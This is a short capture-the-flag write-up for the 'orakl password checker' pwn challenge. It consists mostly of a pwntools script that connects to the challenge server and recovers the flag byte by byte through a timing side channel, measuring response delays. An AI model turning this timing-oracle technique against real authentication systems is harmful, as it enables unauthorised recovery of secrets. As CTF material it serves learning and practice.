orakl password checker

by Internaut401 / BullSoc

Tags: pwn

Rating:

```python
from pwn import *
import math

exe = './orakl-password-checker'

context.binary = exe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

gs = '''
b main
set disable-randomization off
continue
'''

def start(argv=[]):
    if args.GDB:
        r = gdb.debug([exe] + argv, gdbscript=gs)
    else:
        if args.LOCAL:
            r = process('./orakl-password-checker')
        else:
            r = remote("184.72.87.9", 8006)
    return r

def main():
    FLAG=b'flag'
    for i in range(0,60):
        r = start()
        FLAG += b'\x00'
        r.sendlineafter('wrong!\n', FLAG)
        start_time = time.time()
        r.recvuntil('wrong')
        end_time = time.time()
        elapsed_time = end_time - start_time
        print("Elapsed time: ", math.floor(elapsed_time))
        FLAG = FLAG[:-1]
        FLAG += chr(math.floor(elapsed_time)).encode()
        print(f'FLAG: {FLAG}')
        r.close()


    r.interactive()
```

```python
if __name__ == "__main__":
    main()
```

Comments

Follow @CTFtime